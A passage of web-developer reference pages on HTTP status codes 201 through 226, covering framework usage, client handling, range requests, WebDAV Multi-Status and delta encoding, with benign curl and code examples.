ResponseEntity.created(location).body(saved); } ``` ## Common causes by stack **Express:** `res.status(201).location('/api/users/42').json(user)` explicitly selects creation; `res.json(user)` alone leaves the response's status at its existing value. Check the route's final response call when a successful insert returns the wrong code. The [response API](https://expressjs.com/en/5x/api/response/#res.status) documents `status`, `location` and `json`. **FastAPI:** `@app.post('/users', status_code=201)` sets the response status. The [default is 200](https://fastapi.tiangolo.com/tutorial/response-status-code/), even when your Python function inserts a row. Set 201 on the path operation that completes creation; queueing work calls for [202](https://howhttpworks.com/status-codes/202). **Django REST framework:** `CreateAPIView` uses `CreateModelMixin`, whose successful `create()` response is 201. Its [creation behavior](https://www.django-rest-framework.org/api-guide/generic-views/#createmodelmixin) sets `Location` when the representation contains a `url` key. If you need that header, inspect the serializer output rather than assuming every model serializer includes it. **Spring MVC / Spring Boot:** `ResponseEntity.created(location).body(saved)` builds a 201 and sets `Location`. Check the controller return value when a saved entity arrives as 200: returning the entity alone skips the [created builder](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/http/ResponseEntity.html#created(java.net.URI)). **ASP.NET Core:** `CreatedAtAction(nameof(GetById), new { id = product.Id }, product)` returns 201 with a generated resource URL. Microsoft's [controller return-type guide](https://learn.microsoft.com/en-us/aspnet/core/web-api/action-return-types) shows the matching `GetById` route. Verify that route and its parameter names when the generated URL points somewhere unexpected. ## PUT, CalDAV and an empty body A PUT that creates the resource at its target URL returns 201; replacing an existing representation uses 200 or 204. This distinction comes from [RFC 9110 section 9.3.4](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.3.4). For a calendar client uploading a new resource with PUT, inspect whether that URL already existed before interpreting 201 as a failure. An empty 201 body is valid. Check `Content-Type` and the endpoint contract before calling a JSON decoder. A successful creation and a JSON parse failure are separate events: repair the decoder or return the promised JSON rather than retrying the write. The response can identify the resource through the request URL when `Location` is absent. ## Common mistakes - **Missing `Location`.** Spring's [`RestTemplate.postForLocation`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html) returns this header's value. Supply it when the new resource lives at a different URL. - **Treating 201 as retry protection.** A repeated POST can create another resource. If your API supports an idempotency key, retain the same key for retries of the same operation. - **201 before the resource exists**, for example before an async job inserts the row. Use 202. - **Returning 201 on a duplicate** that was silently merged. Return 409 or the existing resource with 200. - **Caching sensitive creation responses.** 201 is not heuristically cacheable. Choose an explicit cache policy for the data you return; an `ETag` can support later `If-Match` updates. ## Reproduce with curl ```bash curl -si -X POST https://api.example.com/api/users \ -H 'Content-Type: application/json' \ -d '{"name":"Ada","email":"ada@example.com"}' ``` Inspect the response status and `location:` line. The HTTP version depends on the connection. Use `-D - -o /dev/null` to print headers without the body, then filter the header you need: ```bash curl -sS -D - -o /dev/null https://api.example.com/api/users \ -H 'Content-Type: application/json' \ -d '{"name":"Ada","email":"ada@example.com"}' \ | grep -i '^location:' ``` Add `-w '%{redirect_url}\n'` to print the resolved `Location` URL. Curl [records that header even without following it](https://github.com/curl/curl/blob/master/lib/multi.c); the header command above shows the value as sent by the server. ## Related - [200 OK](https://howhttpworks.com/status-codes/200) - [202 Accepted](https://howhttpworks.com/status-codes/202) - [204 No Content](https://howhttpworks.com/status-codes/204) - [409 Conflict](https://howhttpworks.com/status-codes/409) - [Location header](https://howhttpworks.com/headers/location) - [POST method](https://howhttpworks.com/methods/post) See also the comparison [200 vs 201 vs 204](https://howhttpworks.com/compare/200-vs-201-vs-204): choosing the right success code for create, read, update and delete. --- # 202 Accepted > The request was accepted for processing but not completed yet. Learn when to use 202 for asynchronous operations. Source: https://howhttpworks.com/status-codes/202 Last reviewed: 2026-10-05 > **TL;DR:** 202 Accepted means the server accepted your request, but processing is not finished. Follow the supplied job-status URL; if progress stalls, check the job ID in the queue and worker logs before submitting the request again. ## What is 202 Accepted? A **202 Accepted** response acknowledges unfinished work: an export, import or notification has been accepted for processing. The original HTTP response ends here. The eventual result belongs in a separate status resource or notification; the server cannot later replace that 202 with a 200 on the same exchange. [RFC 9110 section 15.3.3](https://www.rfc-editor.org/rfc/rfc9110.html#section-15.3.3) recommends describing the current state and pointing to a status monitor. A job can subsequently fail validation or fail during execution. Show “queued” or “processing” in the client until the job's own state reaches completion. A successful HTTP acceptance is the start of this workflow, not the completion screen. The exchanges below are illustrative; job IDs, progress counts and timestamps describe an application contract rather than fields required by HTTP. ## What you see in your client 202 is in the success range. If your application calls it an “error 202,” inspect its success test and the endpoint's asynchronous contract. - **Axios:** the default 200–299 predicate resolves with `response.status === 202`. A custom `validateStatus: status => status === 200` produces `AxiosError: Request failed with status code 202`. Check the [default predicate](https://github.com/axios/axios/blob/v1.x/lib/defaults/index.js) and [message construction](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** resolves with `response.ok === true`; it leaves job completion to your code. The [Fetch success range](https://fetch.spec.whatwg.org/#ok-status) includes 202. - **Python requests:** `raise_for_status()` returns normally and `response.ok` is `True`. Its [source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status) reserves `HTTPError` for 4xx/5xx. - **curl `-f`:** accepts 202. Use `curl -i` to read the job URL; [`-f`](https://curl.se/docs/manpage.html#-f) fails on HTTP codes of 400 or greater. - **.NET:** [`EnsureSuccessStatusCode()`](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs) accepts 202 and returns the response. - **Spring:** [`WebClient.retrieve()`](https://docs.spring.io/spring-framework/reference/web/webflux-webclient/client-retrieve.html) and [`RestTemplate`'s default handler](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java) treat 202 as a normal response. Handle the job state separately from HTTP exceptions. A `Location` header on 202 gives your application a URL to inspect. It is not a redirect status: the client needs to start a new request to that URL. Save the job identifier before closing the screen so a reload can resume polling the same operation. ## When Does This Happen? You'll see a 202 Accepted response in these common situations: **1. File Processing** ```text POST /videos/upload with large video file Server starts encoding in the background ``` **2. Batch Operations** ```text POST /users/bulk-import with CSV file Server queues processing of thousands of records ``` **3. Email Sending** ```text POST /emails/send with newsletter to 10,000 subscribers Server queues emails for gradual delivery ``` **4. Report Generation** ```text POST /reports/sales with complex parameters Server starts generating large PDF report ``` **5. Data Analysis** ```text POST /analytics/process with large dataset Server begins machine learning analysis ``` ## Example Responses **Video Upload Processing:** ```http HTTP/1.1 202 Accepted Content-Type: application/json Location: /jobs/video-123 { "jobId": "video-123", "status": "processing", "message": "Video upload accepted for processing", "estimatedCompletion": "2026-01-18T12:15:00Z", "statusUrl": "/jobs/video-123/status" } ``` **Bulk Data Import:** ```http HTTP/1.1 202 Accepted Content-Type: application/json { "batchId": "import-456", "status": "queued", "totalRecords": 5000, "message": "Import job queued successfully", "checkStatusAt": "/imports/456/status" } ``` **Email Campaign:** ```http HTTP/1.1 202 Accepted Content-Type: application/json { "campaignId": "newsletter-789", "status": "sending", "recipients": 10000, "sent": 0, "progressUrl": "/campaigns/789/progress" } ``` ## Real-World Example For a photo-resizing endpoint, accepting the upload and producing the resized images are separate steps: **Request:** ```http POST /photos HTTP/1.1 Host: api.example.com Content-Type: application/octet-stream Content-Length: 5 photo ``` **Response:** ```http HTTP/1.1 202 Accepted Content-Type: application/json Location: /jobs/photo-resize-abc123 { "jobId": "photo-resize-abc123", "status": "processing", "originalSize": "4032x3024", "targetSizes": ["1920x1440", "800x600", "200x150"], "estimatedCompletion": "2026-01-18T12:05:00Z", "statusEndpoint": "/jobs/photo-resize-abc123" } ``` ## 202 vs Other Success Codes | Code | Meaning | When to Use | | ------- | -------------------------- | ---------------------------------------------- | | **202** | Accepted, processing later | Long-running operations, async processing | | **200** | Success, completed now | Immediate operations with results | | **201** | Created successfully | Resource creation that completes immediately | | **204** | Success, no content | Operations that complete with no response data | ## Status Checking Pattern After receiving 202, clients typically check status: **Initial Request:** ```text POST /reports/generate → 202 Accepted with jobId ``` **Status Check:** ```text GET /jobs/report-123 → 200 OK with current status ``` **Completion Check:** ```text GET /jobs/report-123 → 303 See Other, Location: /reports/final-report.pdf ``` ## Common Mistakes **Using 202 for completed operations** ```text POST /users/login ← Fast operation HTTP/1.1 202 Accepted ← Should be 200 OK immediately ``` **Omitting status tracking** ```text HTTP/1.1 202 Accepted {"message": "Processing"} ← No way to check progress! ``` **Keeping slow work on the request path** A server can wait for completion and return 200, but that holds the connection open. When the API queues the work and replies before completion, use 202 and give the client a monitoring URL. ```text POST /videos/process ← Takes 10 minutes HTTP/1.1 200 OK ← Client waits 10 minutes for response ``` **Return a job URL** ```text POST /videos/process HTTP/1.1 202 Accepted Location: /jobs/video-123 { "jobId": "video-123", "statusUrl": "/jobs/video-123" } ``` ## Common causes by stack **Express:** `res.status(202).location('/jobs/123').json({ jobId: '123' })` emits 202 explicitly. Check the [response call](https://expressjs.com/en/5x/api/response/#res.status) and the enqueue result together: publish the job successfully before acknowledging it, and use a completed-operation code when the work already finished. **FastAPI:** `@app.post('/exports', status_code=202)` selects acceptance; `background_tasks.add_task(...)` schedules work after the response. [BackgroundTasks](https://fastapi.tiangolo.com/tutorial/background-tasks/) runs application background work; adding a task alone does not select 202. Use the [path-operation status setting](https://fastapi.tiangolo.com/tutorial/response-status-code/) and record a status that the client can query. **Spring MVC / Spring Boot:** `ResponseEntity.accepted().location(jobUri).body(job)` creates the response through the [accepted builder](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/http/ResponseEntity.html#accepted()). Trace the job identifier into your executor or queue logs when the request succeeds but the status never advances. **ASP.NET Core:** `Accepted("/jobs/123", job)` creates a 202 with a monitoring location and response value. The [controller source](https://github.com/dotnet/aspnetcore/blob/main/src/Mvc/Mvc.Core/src/ControllerBase.cs) documents that URI as the location for monitoring requested content. Pair it with a GET action that reports the stored job state. **AWS Lambda / API Gateway:** Lambda's [`InvocationType: Event`](https://docs.aws.amazon.com/lambda/latest/api/API_Invoke.html) returns 202 for asynchronous invocation. API Gateway's [non-proxy asynchronous Lambda integration](https://docs.aws.amazon.com/apigateway/latest/developerguide/set-up-lambda-integration-async.html) sets `X-Amz-Invocation-Type` to `'Event'`; inspect the method's response mapping to see what your caller receives. Check the function's invocation logs rather than expecting its return payload in the acceptance response. ## Handling a job that stays pending Poll the status URL supplied by the API, with its documented delay, and stop when the body reports a terminal state such as `completed` or `failed`. Those names are application fields, so implement the actual values your API publishes. A `200 OK` from the status endpoint means the status lookup succeeded; its body can report that the background operation failed. Keep a record linking the incoming request, job ID and queue message ID. If polling stays at `queued`, inspect whether a worker consumed that message. If it stays at `processing`, inspect that worker's last recorded step. Re-submit only after checking the original job: another POST can enqueue another export or email campaign. A client-side timeout on polling should preserve the job URL for a later check. ## Getting 202 Accepted right **Provide Job Tracking:** ```http HTTP/1.1 202 Accepted Content-Type: application/json Location: /jobs/unique-job-id { "jobId": "unique-job-id", "statusUrl": "/jobs/unique-job-id", "estimatedDuration": "5 minutes" } ``` **Include Progress Information:** ```text GET /jobs/unique-job-id HTTP/1.1 200 OK { "status": "processing", "progress": 65, "message": "Processing item 650 of 1000" } ``` **Handle Completion:** ```text GET /jobs/unique-job-id HTTP/1.1 303 See Other Location: /results/final-output ``` ## Try It Yourself Use the [request builder](https://howhttpworks.com/tools/playground) to inspect response headers and bodies. For an asynchronous API you operate, send its documented POST request, record the returned job ID, then send a GET to its monitoring URL. Compare the HTTP status with the job state in the body; they answer different questions. ## Try it with curl Start a job, then poll the URL the server gives you in `Location`. ```bash curl -i -X POST https://api.example.com/exports \ -H 'Content-Type: application/json' \ -d '{"format":"pdf"}' curl -i https://api.example.com/exports/8f3a ``` The response headers can include a polling interval: ```http HTTP/2 202 location: /exports/8f3a retry-after: 5 ``` Read `retry-after: 5` as an instruction in this API to wait five seconds before polling. Document that convention for your clients; HTTP 202 itself sets no polling interval. ## Related Status Codes - [200 OK](https://howhttpworks.com/status-codes/200) - Immediate successful completion - [201 Created](https://howhttpworks.com/status-codes/201) - Resource created immediately - [303 See Other](https://howhttpworks.com/status-codes/303) - Job completed, result available elsewhere - [102 Processing](https://howhttpworks.com/status-codes/102) - Still working on the request --- # 203 Non-Authoritative Information > 203 means a proxy modified the origin response before passing it on. Learn when it is sent, how it differs from 200, caching rules and what clients should do. Source: https://howhttpworks.com/status-codes/203 Last reviewed: 2026-10-04 > **TL;DR:** 203 is a 200 that tells you "the payload was modified by an intermediary and may not match the origin's." Only transforming proxies are supposed to send it, and you will rarely see it. Clients treat it as success. ## What it means RFC 9110 §15.3.4 says an intermediary that applies a transformation to the content of a 200 response may change the status to 203 to tell the recipient the enclosed payload is not necessarily what the origin sent. The response is still a success and works like 200 everywhere else. ```http GET /photo.jpg HTTP/1.1 Host: images.example.com HTTP/1.1 203 Non-Authoritative Information Content-Type: image/jpeg Content-Length: 18342 Via: 1.1 mobile-optimizer Warning: 214 mobile-optimizer "Transformation applied" ``` The `Warning` header with code 214 (Transformation Applied) was the older way to flag the same thing, but `Warning` is obsolete in current HTTP caching (RFC 9111 removed it), so do not expect it. The `Via` header is how you find the intermediary that touched the response. ## Handling it - On the client, treat it as you treat 200. `fetch().ok` is true for all 2xx. - If integrity matters (checksums, signatures, downloads that must be bit-exact), a 203 is the cue to verify against a trusted digest or fetch via a path without transformation, for example HTTPS end to end so no intermediary can alter content. - On an intermediary you operate that rewrites bodies (image recompression, HTML minification, ad stripping), 203 is the correct signal, plus `Via`. Many send 200 and say nothing. Whatever you run, honour `Cache-Control: no-transform` from the origin, which forbids exactly these rewrites. Two practical consequences follow from the cacheability. A 203 is stored and reused by caches exactly like a 200, so a transformed copy can outlive the transformation: if a mobile proxy recompressed an image at low quality and a shared cache kept it, desktop users may later receive the degraded copy. The origin's defence is `Cache-Control: no-transform`, which tells intermediaries not to change the payload, and `Vary` when the content legitimately differs by client. The second consequence is for monitoring. Alerts that match on `status == 200` will silently ignore a 203, so use a 2xx range check. The reverse also applies: some tools log 203 as an anomaly when it comes from a CDN feature that rewrites HTML (minification, script injection). Compare the body hash against a direct-to-origin request to confirm what changed. Because most transformation happens inside TLS-terminating CDNs under the origin owner's control, and plain-HTTP transcoding proxies have mostly disappeared, 203 is nearly extinct. If you see it, find out which hop produced it with `Via`, `Server` and `X-Cache`. ## Try it with curl `203 Non-Authoritative Information` is only sent by a transforming proxy that modified an origin's `200`. Most proxies and CDNs never emit it. To check whether one sits in your path, send the request through it and look at the status and the `Via` header. ```bash curl -i -x http://proxy.example.com:3128 http://example.com/ ``` ## Related - [200 OK](https://howhttpworks.com/status-codes/200) - [304 Not Modified](https://howhttpworks.com/status-codes/304) - [Via](https://howhttpworks.com/headers/via) - [Cache-Control](https://howhttpworks.com/headers/cache-control): `no-transform`. --- # 204 No Content > The request succeeded with no response body. Learn when to use 204 No Content for successful operations that don't return data. Source: https://howhttpworks.com/status-codes/204 Last reviewed: 2026-10-04 > **TL;DR:** 204 No Content means the request succeeded and there is deliberately no body. It is the usual answer to DELETE, to PUT/PATCH when you do not echo the resource, and to CORS preflights. It cannot carry content, so a 204 with a body is a bug. ## What it means ```http DELETE /api/items/42 HTTP/1.1 Host: api.example.com HTTP/1.1 204 No Content Date: Sun, 04 Oct 2026 12:00:00 GMT ``` RFC 9110 section 15.3.5: a 204 ends after the header section. Servers must not send `Content-Length` or `Transfer-Encoding` on a 204 (RFC 9110 section 8.6 and RFC 9112 section 6.3). Clients with a page open stay on it; a browser form submission that returns 204 leaves the user on the current page without navigating, which can be a useful way to handle "save" actions that do not need a new view. ## When to use it - DELETE that succeeded. - PUT or PATCH when the client already has the new state (add an `ETag` so it can track the new version). - CORS preflight (OPTIONS) responses; most CORS middleware sends 204, and browsers accept any 2xx. - Beacons and analytics endpoints (`navigator.sendBeacon` ignores the response, so 204 saves bytes). - Not for GET of an existing resource that happens to be empty; return 200 with `[]` or `{}`, since clients treat a missing body as a parsing case. ## Common bugs - **`response.json()` throws on 204.** `fetch(...).then(r => r.json())` fails with `SyntaxError: Unexpected end of JSON input`. Check `r.status === 204` before parsing. Axios returns `data: ''`. - **Body written anyway.** Node's `http` module and Express drop the body on a 204, so the client never sees it. On a raw socket, a stray body would be parsed as the start of the next response. - **204 in place of 404.** A 204 on a GET for a missing item hides the error. Use 404. ## Implementation ### Express ```javascript app.delete('/api/items/:id', async (req, res) => { await db.items.delete(req.params.id) res.sendStatus(204) }) ``` ### Flask ```python @app.delete("/api/items/") def delete_item(item_id): db.delete(item_id) return "", 204 ``` ### Go ```go w.WriteHeader(http.StatusNoContent) ``` ### nginx ```nginx location = /beacon { return 204; } ``` ## Reproduce with curl ```bash curl -si -X DELETE https://api.example.com/api/items/42 # HTTP/2 204 # (no body, no content-length) ``` ## 204 vs 200 vs 201 vs 205 | Code | Body | Meaning | | ---- | ---- | ----------------------------------------------- | | 200 | Yes | Success with a result | | 201 | Usual | New resource created | | 204 | Never | Success, nothing to show | | 205 | Never | Success, tell the UI to reset the form or view | ## Related - [200 OK](https://howhttpworks.com/status-codes/200) - [201 Created](https://howhttpworks.com/status-codes/201) - [DELETE method](https://howhttpworks.com/methods/delete) - [OPTIONS method](https://howhttpworks.com/methods/options) See also the comparison [200 vs 201 vs 204](https://howhttpworks.com/compare/200-vs-201-vs-204): choosing the right success code for create, read, update and delete. --- # 205 Reset Content: What It Does and Browser Support > 205 Reset Content tells the client to reset the view that sent the request, like clearing a form. Learn its rules, fetch behaviour and why it is rarely used. Source: https://howhttpworks.com/status-codes/205 Last reviewed: 2026-10-04 > **TL;DR:** 205 Reset Content means "done, there is no body, and the client should reset the view that sent this request" (clear the form). It is defined in RFC 9110 but almost never used, and browsers do not reliably act on it, so reset the form in your own JavaScript. ## What it means It is the sibling of [204 No Content](https://howhttpworks.com/status-codes/204). The difference is the instruction to the user agent: with 204 keep the view as is, with 205 return it to its pre-interaction state. The intended use is a data-entry form that posts to a server and, on success, is cleared so the user can enter the next record. ```http POST /entries HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded name=Alice&amount=40 HTTP/1.1 205 Reset Content Content-Length: 0 ``` Rules from RFC 9110 §15.3.6: - The server must not generate content in a 205. Sending `Content-Length: 0` (or `Transfer-Encoding` with an empty last chunk) tells the client the message ends, so it does not hang waiting. - A client should reset the view without reloading. - 205 is not cacheable by default. ## What happens in practice - **Browsers.** Behaviour for form submissions differs by browser and by how the request was made, and a form POST that returns 205 often just leaves the page where it was. Do not build features on it. - **fetch and XHR.** Both pass the status through. In `fetch`, 205 is one of the Fetch Standard's null body statuses (101, 103, 204, 205, 304), so `response.body` is `null` and `response.text()` resolves to an empty string. `response.ok` is `true`. - **Mocking trap.** `new Response('ok', { status: 205 })` throws `TypeError: Failed to construct 'Response': Response with null body status cannot have body` in Chromium, so test mocks must use `new Response(null, { status: 205 })`. - **Proxies.** Some intermediaries mishandle bodies on 1xx/204/205 and add `Content-Length`/chunked framing that confuses clients. Make sure your server really sends none. Because the client does the reset anyway if you tell it to, most APIs return [204](https://howhttpworks.com/status-codes/204) or [201](https://howhttpworks.com/status-codes/201) and let the frontend clear its state: ```javascript const res = await fetch('/entries', { method: 'POST', body: new FormData(form) }) if (res.ok) form.reset() // works for 200, 201, 204, 205 alike ``` ## Try it with curl Submit a form and look for a body-less 205. The server must send no content with this status, so expect `Content-Length: 0`. ```bash curl -i -X POST https://example.com/comments -d 'text=hello' ``` Example output (illustrative, not captured from a real server): ```http HTTP/1.1 205 Reset Content Content-Length: 0 ``` curl just prints the status. Whether a browser actually resets the form is client-specific, so do not rely on 205 for UI behavior without testing. ## Related - [204 No Content](https://howhttpworks.com/status-codes/204) - [200 OK](https://howhttpworks.com/status-codes/200) - [201 Created](https://howhttpworks.com/status-codes/201) - [Status codes overview](https://howhttpworks.com/guides/status-codes-overview) --- # 206 Partial Content: Range Requests Explained > 206 Partial Content returns only the byte range requested. See a curl transcript, Content-Range, If-Range, video seeking and resumable downloads. Source: https://howhttpworks.com/status-codes/206 Last reviewed: 2026-10-04 > **TL;DR:** 206 Partial Content is the answer to a request with a `Range` header: the body is just those bytes, and `Content-Range` says where they sit in the full resource. It powers video seeking and resumable downloads, and a server that ignores `Range` replies 200 instead. ## When you will see it A client sends `Range: bytes=0-99` and the server supports it. You can watch this with curl: ```bash curl -s -D - -o /dev/null -r 0-99 https://example.com/files/report.pdf ``` ```http HTTP/2 206 content-type: application/pdf content-length: 100 content-range: bytes 0-99/2457600 accept-ranges: bytes etag: "5f1c-6032a8b4c1a00" last-modified: Tue, 15 Sep 2026 08:12:41 GMT ``` Note what changed relative to a 200. `content-length` is 100, the length of this body, not the file. `content-range: bytes 0-99/2457600` reads "bytes 0 through 99 inclusive, of 2,457,600 total". Both ends of a range are inclusive, so `0-99` is 100 bytes, a classic off-by-one when building these by hand. A server that does not support ranges ignores `Range` and returns `200` with the full body, usually with `Accept-Ranges: none` or no `Accept-Ranges` at all. That is valid per RFC 9110, so clients must check the status code, not assume. ## Where it matters **Video and audio seeking.** The browser's media stack requests the start of the file (often `bytes=0-` or a small probe), reads the container header, then issues new range requests as you scrub. A video behind a server that cannot do ranges plays from the start but cannot seek. Safari is the strict one: it sends `Range: bytes=0-1` first and refuses to play if the answer is not a correct 206 with `Content-Range`. A video that works in Chrome and stays blank in Safari is almost always a range problem, commonly introduced by a proxy or Node handler that streams the file with `res.send` or `pipe` and no range logic. **Resumable downloads.** `curl -C -` and `wget -c` work out how many bytes exist locally and send `Range: bytes=-`. The server answers 206 with the remainder. **Large file parallel fetches.** Download accelerators and tools like `aria2` split a file into ranges and fetch them in parallel. Object stores (S3, GCS) serve ranges natively, which is how Parquet readers pull only the footer and the needed column chunks. **PDF viewers.** Browsers' PDF viewers fetch the trailer and cross-reference table from the end of the file with a suffix range (`Range: bytes=-1024`) to render page one before the rest has downloaded ("fast web view"). ## Range forms | Header | Meaning | |---|---| | `Range: bytes=0-99` | First 100 bytes | | `Range: bytes=500-` | From byte 500 to the end | | `Range: bytes=-500` | Last 500 bytes (suffix range) | | `Range: bytes=0-99,200-299` | Two ranges; the response may be `multipart/byteranges` | The only range unit defined by RFC 9110 is `bytes`. Ranges apply to `GET` requests; other methods must ignore `Range`. ## Resuming safely with If-Range If a file changes between the first attempt and the resume, a naive `Range` request gives you the tail of the new file glued to the head of the old one. `If-Range` fixes that: ```http GET /files/report.pdf HTTP/1.1 Host: example.com Range: bytes=1048576- If-Range: "5f1c-6032a8b4c1a00" ``` If the validator still matches, the server replies `206` with the rest. If it does not, the server replies `200` with the complete new file, and the client has to start over. Two gotchas: the validator must be a strong ETag (no `W/` prefix) or a `Last-Modified` date that is exactly the one the server sent; and a client that sends `If-Range` must handle a 200 reply by discarding what it already has. ## Multiple ranges ```http HTTP/1.1 206 Partial Content Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 Content-Length: 385 --3d6b6a416f9b5 Content-Type: application/pdf Content-Range: bytes 0-99/2457600 ...100 bytes... --3d6b6a416f9b5 Content-Type: application/pdf Content-Range: bytes 200-299/2457600 ...100 bytes... --3d6b6a416f9b5-- ``` The top-level response has no `Content-Range`; each part carries its own. Servers defend against abusive requests (hundreds of overlapping ranges was a real denial-of-service vector against Apache httpd in 2011), so expect them to reply 200 with the full body or [416](https://howhttpworks.com/status-codes/416) when a multi-range request looks pathological. nginx exposes `max_ranges` to cap this. ## Server-side notes - **nginx** serves ranges for static files by default. When proxying, ranges pass through to the upstream; to serve cached slices of a large upstream object, look at the `slice` module (`slice 1m;` with `$slice_range` in the cache key). - **Express** `res.sendFile()` and `express.static` handle `Range` and `If-Range` through the `send` package. `res.send(buffer)` and a manual `fs.createReadStream().pipe(res)` do not. - **Compression and ranges.** Byte ranges address the encoded representation. If a proxy compresses on the fly, offsets would shift between requests, which is why many servers disable compression for requests with `Range`, or skip range support for dynamically compressed content. - **`Content-Length` must be right.** For 206 it is the length of the part, not the file. Reverse proxies that rewrite it are a common cause of truncated media. A minimal Node handler that supports a single range, to show the mechanics: ```javascript import fs from 'node:fs' import http from 'node:http' http.createServer((req, res) => { const path = './video.mp4' const size = fs.statSync(path).size const header = req.headers.range res.setHeader('Accept-Ranges', 'bytes') if (!header) { res.writeHead(200, { 'Content-Length': size, 'Content-Type': 'video/mp4' }) return fs.createReadStream(path).pipe(res) } const m = /^bytes=(\d*)-(\d*)$/.exec(header) if (!m || (m[1] === '' && m[2] === '')) { res.writeHead(416, { 'Content-Range': `bytes */${size}` }) return res.end() } let start = m[1] === '' ? size - Number(m[2]) : Number(m[1]) let end = m[1] === '' || m[2] === '' ? size - 1 : Math.min(Number(m[2]), size - 1) if (start >= size || start > end) { res.writeHead(416, { 'Content-Range': `bytes */${size}` }) return res.end() } res.writeHead(206, { 'Content-Range': `bytes ${start}-${end}/${size}`, 'Content-Length': end - start + 1, 'Content-Type': 'video/mp4' }) fs.createReadStream(path, { start, end }).pipe(res) }).listen(8080) ``` ## Debugging checklist 1. `curl -I https://host/file` and look for `Accept-Ranges: bytes`. Absence is not proof of no support, but `none` is. 2. `curl -s -D - -o /dev/null -r 0-1 https://host/file`. You want `206` and `Content-Range: bytes 0-1/`. A `200` means a layer is ignoring ranges. 3. Test through and around the CDN to find which layer strips it (compare `Via`, `Age`, `CF-Cache-Status`, `X-Cache`). 4. Check `Content-Length` on the 206 equals end - start + 1. 5. For resume problems, check that the ETag is stable across origin servers behind the load balancer; ETags that differ per node make `If-Range` fail on every other request. nginx and Apache 2.4 build file ETags from modification time and size, so nodes with different file mtimes after a deploy disagree; Apache 2.2's default also included the inode. ## Related - [200 OK](https://howhttpworks.com/status-codes/200): what you get when the server ignores `Range`. - [416 Range Not Satisfiable](https://howhttpworks.com/status-codes/416): the requested range is outside the resource. - [304 Not Modified](https://howhttpworks.com/status-codes/304): the conditional-request sibling. - [Range](https://howhttpworks.com/headers/range), [Content-Range](https://howhttpworks.com/headers/content-range), [Accept-Ranges](https://howhttpworks.com/headers/accept-ranges), [If-Range](https://howhttpworks.com/headers/if-range), [ETag](https://howhttpworks.com/headers/etag) --- # 207 Multi-Status: WebDAV Per-Resource Results > 207 Multi-Status carries an XML body with a separate status per resource. See a PROPFIND example, how to parse it, and why the top-level code is not the result. Source: https://howhttpworks.com/status-codes/207 Last reviewed: 2026-10-04 > **TL;DR:** 207 Multi-Status is a WebDAV code (RFC 4918) that wraps several independent results in an XML `multistatus` body. The top-level 207 only means "here is the report": read each `` element's own `` to know what happened. ## What it means When one request touches many resources (listing a collection, deleting a folder, moving a tree), the outcome can be mixed. Rather than choosing one status, the server returns 207 and a body with one result per resource. ```http PROPFIND /files/ HTTP/1.1 Host: dav.example.com Depth: 1 Content-Type: application/xml ``` ```http HTTP/1.1 207 Multi-Status Content-Type: application/xml; charset=utf-8 /files/report.pdf 2457600 HTTP/1.1 200 OK /files/secret.txt HTTP/1.1 403 Forbidden ``` A mixed failure for a `DELETE /files/` on a collection looks the same: `report.pdf` could be deleted, `secret.txt` returned 403. The collection itself is not removed, and the 207 lists only the member that failed. RFC 4918 section 9.6.1 says a server SHOULD NOT add [424 Failed Dependency](https://howhttpworks.com/status-codes/424) entries for the ancestors in a DELETE, because the client can infer them. Where 424 does show up is inside a `PROPPATCH` response, when one property change fails and the rest are rolled back with it. Every `` carries either a `` for the whole resource or one or more `` blocks with property-level statuses (some properties 200, others 404 because they do not exist). ## Where you will meet it - WebDAV file servers: Apache `mod_dav`, nginx with the DAV module, Nextcloud, ownCloud, SharePoint, Synology. - CalDAV and CardDAV: calendar and contacts sync (`REPORT` and `PROPFIND`), including iCloud, Google Calendar's CalDAV endpoint, Radicale and Fastmail. - Mounting network drives (macOS Finder, Windows "Map network drive"), rclone, `cadaver` and `davfs2`. ```bash curl -s -X PROPFIND -H 'Depth: 1' -u alice https://dav.example.com/files/ | xmllint --format - ``` ## Handling it correctly 1. Treat 207 as a transport success only. Parse the XML, loop over `response` elements, and apply per-item status. 2. For writes, treat any non-2xx entry as a partial failure and decide whether to roll back or retry only the failed items. 3. `Depth: infinity` PROPFIND on big trees is expensive and often disabled; servers answer 403 with ``. 4. Do not rely on caching 207 responses. They are not in the set of status codes cacheable by default, and the body depends on the request body (PROPFIND, REPORT). ```javascript const xml = new DOMParser().parseFromString(await res.text(), 'application/xml') for (const r of xml.getElementsByTagNameNS('DAV:', 'response')) { const href = r.getElementsByTagNameNS('DAV:', 'href')[0].textContent const status = r.getElementsByTagNameNS('DAV:', 'status')[0]?.textContent if (status && !/\s2\d\d\s/.test(status)) console.warn(href, status) } ``` This only reads the response-level status; check each `propstat` too if you care about property results. ## Related - [424 Failed Dependency](https://howhttpworks.com/status-codes/424) - [423 Locked](https://howhttpworks.com/status-codes/423) - [200 OK](https://howhttpworks.com/status-codes/200): use a plain 200 when there is nothing per-resource to report. - [507 Insufficient Storage](https://howhttpworks.com/status-codes/507): another WebDAV code. - [Status codes overview](https://howhttpworks.com/guides/status-codes-overview) --- # 226 IM Used: HTTP Delta Encoding > 226 IM Used is the response to a delta-encoded request under RFC 3229. See the A-IM and IM headers, how it works, and why almost nothing implements it. Source: https://howhttpworks.com/status-codes/226 Last reviewed: 2026-10-04 > **TL;DR:** 226 IM Used is the success status for RFC 3229 delta encoding: the client says which cached version it holds, and the server replies with just the difference. It is registered with IANA but not implemented by browsers or mainstream servers, so you are unlikely to meet it. ## How it works The client sends the ETag of the version it already has in `If-None-Match`, and lists the delta formats it can apply in `A-IM`. If the server can produce a delta against that version, it replies 226 with `IM` naming the format used. ```http GET /feed.xml HTTP/1.1 Host: example.com If-None-Match: "v41" A-IM: vcdiff, gzip HTTP/1.1 226 IM Used ETag: "v42" IM: vcdiff Delta-Base: "v41" Content-Length: 812 Cache-Control: no-cache ...vcdiff delta bytes... ``` The client applies the delta to its stored copy `"v41"` to reconstruct `"v42"`. If the base is not available, the server can send the 